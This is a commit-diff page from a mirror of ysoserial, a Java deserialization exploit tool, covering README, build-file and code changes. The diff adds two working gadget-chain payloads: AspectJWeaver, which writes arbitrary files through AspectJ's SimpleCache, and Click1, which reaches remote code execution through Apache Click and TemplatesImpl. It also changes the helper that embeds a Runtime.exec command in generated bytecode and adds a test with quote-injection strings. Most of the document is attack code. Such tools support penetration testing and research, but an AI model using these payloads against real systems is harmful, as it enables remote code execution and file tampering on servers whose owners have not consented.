mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Compare commits
7
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ee913411e8 | ||
|
|
76ac2bb259 | ||
|
|
d367e379d9 | ||
|
|
138dc36bd2 | ||
|
|
750168c6d3 | ||
|
|
4df2ee2bb5 | ||
|
|
fc577c0bcd |
@@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
|
||||
Available payload types:
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||
CommonsCollections1 @frohoff commons-collections:3.1
|
||||
@@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
|
||||
CommonsCollections4 @frohoff commons-collections4:4.0
|
||||
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||
CommonsCollections6 @matthias_kaiser commons-collections:3.1
|
||||
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
|
||||
Groovy1 @frohoff groovy:2.3.9
|
||||
Hibernate1 @mbechler
|
||||
@@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
|
||||
Jdk7u21 @frohoff
|
||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||
MozillaRhino2 @_tint0 js:1.7R2
|
||||
Myfaces1 @mbechler
|
||||
Myfaces2 @mbechler
|
||||
ROME @mbechler rome:1.0
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
URLDNS @gebl
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
```
|
||||
|
||||
|
||||
@@ -326,6 +326,16 @@
|
||||
<artifactId>vaadin-server</artifactId>
|
||||
<version>7.7.14</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.aspectj</groupId>
|
||||
<artifactId>aspectjweaver</artifactId>
|
||||
<version>1.9.5</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.click</groupId>
|
||||
<artifactId>click-nodeps</artifactId>
|
||||
<version>2.3.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
HashSet.readObject()
|
||||
HashMap.put()
|
||||
HashMap.hash()
|
||||
TiedMapEntry.hashCode()
|
||||
TiedMapEntry.getValue()
|
||||
LazyMap.get()
|
||||
SimpleCache$StorableCachingMap.put()
|
||||
SimpleCache$StorableCachingMap.writeToPath()
|
||||
FileOutputStream.write()
|
||||
|
||||
Usage:
|
||||
args = "<filename>;<base64 content>"
|
||||
Example:
|
||||
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
|
||||
|
||||
More information:
|
||||
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||
*/
|
||||
@PayloadTest(skip="non RCE")
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({ Authors.JANG })
|
||||
|
||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(final String command) throws Exception {
|
||||
int sep = command.lastIndexOf(';');
|
||||
if ( sep < 0 ) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if(node == null){
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try{
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
}catch(Exception e){
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
|
||||
PayloadRunner.run(AspectJWeaver.class, args);
|
||||
}
|
||||
}
|
||||
Executable
+81
@@ -0,0 +1,81 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.click.control.Column;
|
||||
import org.apache.click.control.Table;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/*
|
||||
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||
|
||||
Chain:
|
||||
|
||||
java.util.PriorityQueue.readObject()
|
||||
java.util.PriorityQueue.heapify()
|
||||
java.util.PriorityQueue.siftDown()
|
||||
java.util.PriorityQueue.siftDownUsingComparator()
|
||||
org.apache.click.control.Column$ColumnComparator.compare()
|
||||
org.apache.click.control.Column.getProperty()
|
||||
org.apache.click.control.Column.getProperty()
|
||||
org.apache.click.util.PropertyUtils.getValue()
|
||||
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||
java.lang.reflect.Method.invoke()
|
||||
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
...
|
||||
|
||||
Arguments:
|
||||
- command to execute
|
||||
|
||||
Yields:
|
||||
- RCE via TemplatesImpl.getOutputProperties()
|
||||
|
||||
Requires:
|
||||
- Apache Click
|
||||
- servlet-api of any version
|
||||
|
||||
by @artsploit
|
||||
*/
|
||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||
@Authors({ Authors.ARTSPLOIT })
|
||||
public class Click1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
|
||||
// prepare a Column.comparator with mock values
|
||||
final Column column = new Column("lowestSetBit");
|
||||
column.setTable(new Table());
|
||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||
|
||||
// create queue with numbers and our comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch method called by the comparator,
|
||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||
column.setName("outputProperties");
|
||||
|
||||
// finally, we inject and new TemplatesImpl object into the queue,
|
||||
// so its getOutputProperties() method will be called
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
queueArray[0] = templates;
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Click1.class, args);
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,8 @@ public @interface Authors {
|
||||
String SCRISTALLI = "scristalli";
|
||||
String HANYRAX = "hanyrax";
|
||||
String EDOARDOVIGNATI = "EdoardoVignati";
|
||||
String JANG = "Jang";
|
||||
String ARTSPLOIT = "artsploit";
|
||||
|
||||
String[] value() default {};
|
||||
|
||||
|
||||
@@ -115,7 +115,7 @@ public class Gadgets {
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
||||
command.replace("\\", "\\\\").replace("\"", "\\\"") +
|
||||
"\");";
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
|
||||
@@ -13,8 +13,18 @@ import com.nqzero.permit.Permit;
|
||||
public class Reflections {
|
||||
|
||||
public static void setAccessible(AccessibleObject member) {
|
||||
String versionStr = System.getProperty("java.version");
|
||||
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
|
||||
if (javaVersion < 12) {
|
||||
// quiet runtime warnings from JDK9+
|
||||
Permit.setAccessible(member);
|
||||
} else {
|
||||
// not possible to quiet runtime warnings anymore...
|
||||
// see https://bugs.openjdk.java.net/browse/JDK-8210522
|
||||
// to understand impact on Permit (i.e. it does not work
|
||||
// anymore with Java >= 12)
|
||||
member.setAccessible(true);
|
||||
}
|
||||
}
|
||||
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import org.junit.Test;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
|
||||
public class GadgetsTest {
|
||||
@Test
|
||||
public void test_createTemplatesImpl_noCompilationError() throws Exception {
|
||||
Gadgets.createTemplatesImpl("hostname");
|
||||
Gadgets.createTemplatesImpl("echo 'foobar'");
|
||||
Gadgets.createTemplatesImpl("echo \"foobar\"");
|
||||
Gadgets.createTemplatesImpl("\"`';\\");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user